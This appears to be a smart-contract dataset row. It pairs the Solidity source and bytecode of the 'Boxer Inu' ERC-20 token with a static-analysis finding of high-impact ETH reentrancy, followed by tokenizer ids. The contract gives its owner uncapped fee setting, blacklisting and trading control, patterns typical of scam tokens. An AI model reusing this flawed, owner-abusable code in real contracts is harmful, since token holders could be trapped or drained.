pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BoxerInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Boxer Inu";// string private constant _symbol = "BOXER";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 12;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 18;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x931514846b3a625B02FB9F1CFB2b2ad38439Aa88);// address payable private _marketingAddress = payable(0xDF9DB18876AEAd058a023cdef3eD1dD4C113bE60);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 4000000000 * 10**9; // uint256 public _maxWalletSize = 10000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true; bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true; bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true; bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true; bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true; bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610549578063dd62ed3e1461055f578063ea1644d5146105a5578063f2fde38b146105c557600080fd5b8063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd8014610514578063c492f0461461052957600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610484578063a2a957bb146104a457600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b88565b6105e5565b005b34801561020a57600080fd5b50604080518082019091526009815268426f78657220496e7560b81b60208201525b6040516102399190611cb2565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611ade565b610692565b6040519015158152602001610239565b34801561027e57600080fd5b50601554610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611a9e565b6106a9565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b5060405160098152602001610239565b34801561032e57600080fd5b50601654610292906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a2e565b610712565b34801561036e57600080fd5b506101fc61037d366004611c4f565b61075d565b34801561038e57600080fd5b506101fc6107a5565b3480156103a357600080fd5b506102c26103b2366004611a2e565b6107f0565b3480156103c357600080fd5b506101fc610812565b3480156103d857600080fd5b506101fc6103e7366004611c69565b610886565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610292565b34801561042c57600080fd5b506101fc61043b366004611c4f565b6108b5565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b506040805180820190915260058152642127ac22a960d91b602082015261022c565b34801561049057600080fd5b506101fc61049f366004611c69565b610901565b3480156104b057600080fd5b506101fc6104bf366004611c81565b610930565b3480156104d057600080fd5b506102626104df366004611ade565b61096e565b3480156104f057600080fd5b506102626104ff366004611a2e565b60116020526000908152604090205460ff1681565b34801561052057600080fd5b506101fc61097b565b34801561053557600080fd5b506101fc610544366004611b09565b6109cf565b34801561055557600080fd5b506102c260085481565b34801561056b57600080fd5b506102c261057a366004611a66565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b157600080fd5b506101fc6105c0366004611c69565b610a7e565b3480156105d157600080fd5b506101fc6105e0366004611a2e565b610aad565b6000546001600160a01b031633146106185760405162461bcd60e51b815260040161060f90611d05565b60405180910390fd5b60005b815181101561068e5760016011600084848151811061064a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068681611e18565b91505061061b565b5050565b600061069f338484610b97565b5060015b92915050565b60006106b6848484610cbb565b610708843361070385604051806060016040528060288152602001611e75602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061126e565b610b97565b5060019392505050565b6000546001600160a01b0316331461073c5760405162461bcd60e51b815260040161060f90611d05565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161060f90611d05565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107da57506014546001600160a01b0316336001600160a01b0316145b6107e357600080fd5b476107ed816112a8565b50565b6001600160a01b0381166000908152600260205260408120546106a39061132d565b6000546001600160a01b0316331461083c5760405162461bcd60e51b815260040161060f90611d05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161060f90611d05565b601755565b6000546001600160a01b031633146108df5760405162461bcd60e51b815260040161060f90611d05565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161060f90611d05565b601955565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161060f90611d05565b600993909355600b91909155600a55600c55565b600061069f338484610cbb565b6013546001600160a01b0316336001600160a01b031614806109b057506014546001600160a01b0316336001600160a01b0316145b6109b957600080fd5b60006109c4306107f0565b90506107ed816113b1565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161060f90611d05565b60005b82811015610a78578160056000868685818110610a2957634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a3e9190611a2e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7081611e18565b9150506109fc565b50505050565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161060f90611d05565b601855565b6000546001600160a01b03163314610ad75760405162461bcd60e51b815260040161060f90611d05565b6001600160a01b038116610b3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060f565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060f565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060f565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060f565b6000546001600160a01b03848116911614801590610e0f57506000546001600160a01b03838116911614155b1561116757601654600160a01b900460ff16610ea8576000546001600160a01b03848116911614610ea85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060f565b601754811115610efa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060f565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3c57506001600160a01b03821660009081526011602052604090205460ff16155b610f945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060f565b6008544311158015610fb357506016546001600160a01b038481169116145b8015610fcd57506015546001600160a01b03838116911614155b8015610fe257506001600160a01b0382163014155b1561100b576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611090576018548161102d846107f0565b6110379190611daa565b106110905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060f565b600061109b306107f0565b6019546017549192508210159082106110b45760175491505b8080156110cb5750601654600160a81b900460ff16155b80156110e557506016546001600160a01b03868116911614155b80156110fa5750601654600160b01b900460ff165b801561111f57506001600160a01b03851660009081526005602052604090205460ff16155b801561114457506001600160a01b03841660009081526005602052604090205460ff16155b1561116457611152826113b1565b47801561116257611162476112a8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a957506001600160a01b03831660009081526005602052604090205460ff165b806111db57506016546001600160a01b038581169116148015906111db57506016546001600160a01b03848116911614155b156111e857506000611262565b6016546001600160a01b03858116911614801561121357506015546001600160a01b03848116911614155b1561122557600954600d55600a54600e555b6016546001600160a01b03848116911614801561125057506015546001600160a01b03858116911614155b1561126257600b54600d55600c54600e555b610a7884848484611556565b600081848411156112925760405162461bcd60e51b815260040161060f9190611cb2565b50600061129f8486611e01565b95945050505050565b6013546001600160a01b03166108fc6112c2836002611584565b6040518115909202916000818181858888f193505050501580156112ea573d6000803e3d6000fd5b506014546001600160a01b03166108fc611305836002611584565b6040518115909202916000818181858888f1935050505015801561068e573d6000803e3d6000fd5b60006006548211156113945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060f565b600061139e6115c6565b90506113aa8382611584565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145b57600080fd5b505afa15801561146f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114939190611a4a565b816001815181106114b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114da9130911684610b97565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611513908590600090869030904290600401611d3a565b600060405180830381600087803b15801561152d57600080fd5b505af1158015611541573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611563576115636115e9565b61156e848484611617565b80610a7857610a78600f54600d55601054600e55565b60006113aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170e565b60008060006115d361173c565b90925090506115e28282611584565b9250505090565b600d541580156115f95750600e54155b1561160057565b600d8054600f55600e805460105560009182905555565b6000806000806000806116298761177e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165b90876117db565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168a908661181d565b6001600160a01b0389166000908152600260205260409020556116ac8161187c565b6116b684836118c6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fb91815260200190565b60405180910390a3505050505050505050565b6000818361172f5760405162461bcd60e51b815260040161060f9190611cb2565b50600061129f8486611dc2565b6006546000908190683635c9adc5dea000006117588282611584565b82101561177557505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061179b8a600d54600e546118ea565b92509250925060006117ab6115c6565b905060008060006117be8e87878761193f565b919e509c509a509598509396509194505050505091939550919395565b60006113aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126e565b60008061182a8385611daa565b9050838110156113aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060f565b60006118866115c6565b90506000611894838361198f565b306000908152600260205260409020549091506118b1908261181d565b30600090815260026020526040902055505050565b6006546118d390836117db565b6006556007546118e3908261181d565b6007555050565b600080808061190460646118fe898961198f565b90611584565b9050600061191760646118fe8a8961198f565b9050600061192f826119298b866117db565b906117db565b9992985090965090945050505050565b600080808061194e888661198f565b9050600061195c888761198f565b9050600061196a888861198f565b9050600061197c8261192986866117db565b939b939a50919850919650505050505050565b60008261199e575060006106a3565b60006119aa8385611de2565b9050826119b78583611dc2565b146113aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060f565b8035611a1981611e5f565b919050565b80358015158114611a1957600080fd5b600060208284031215611a3f578081fd5b81356113aa81611e5f565b600060208284031215611a5b578081fd5b81516113aa81611e5f565b60008060408385031215611a78578081fd5b8235611a8381611e5f565b91506020830135611a9381611e5f565b809150509250929050565b600080600060608486031215611ab2578081fd5b8335611abd81611e5f565b92506020840135611acd81611e5f565b929592945050506040919091013590565b60008060408385031215611af0578182fd5b8235611afb81611e5f565b946020939093013593505050565b600080600060408486031215611b1d578283fd5b833567ffffffffffffffff80821115611b34578485fd5b818601915086601f830112611b47578485fd5b813581811115611b55578586fd5b8760208260051b8501011115611b69578586fd5b602092830195509350611b7f9186019050611a1e565b90509250925092565b60006020808385031215611b9a578182fd5b823567ffffffffffffffff80821115611bb1578384fd5b818501915085601f830112611bc4578384fd5b813581811115611bd657611bd6611e49565b8060051b604051601f19603f83011681018181108582111715611bfb57611bfb611e49565b604052828152858101935084860182860187018a1015611c19578788fd5b8795505b83861015611c4257611c2e81611a0e565b855260019590950194938601938601611c1d565b5098975050505050505050565b600060208284031215611c60578081fd5b6113aa82611a1e565b600060208284031215611c7a578081fd5b5035919050565b60008060008060808587031215611c96578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611cde57858101830151858201604001528201611cc2565b81811115611cef5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d895784516001600160a01b031683529383019391830191600101611d64565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dbd57611dbd611e33565b500190565b600082611ddd57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dfc57611dfc611e33565b500290565b600082821015611e1357611e13611e33565b500390565b6000600019821415611e2c57611e2c611e33565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ed57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e2bcc6ea417395f67fbde5b2eb18c4652d94dbdaef9df0d538c4731ad1a563764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 17914, 21084, 2683, 23777, 7011, 16576, 2549, 2278, 11387, 2278, 2620, 2278, 14526, 3207, 2620, 2497, 2094, 29097, 29292, 17914, 2546, 2683, 2683, 2620, 11329, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,403
0x96b8374c70E6626d639C3Bd59F0C63eA0461E790
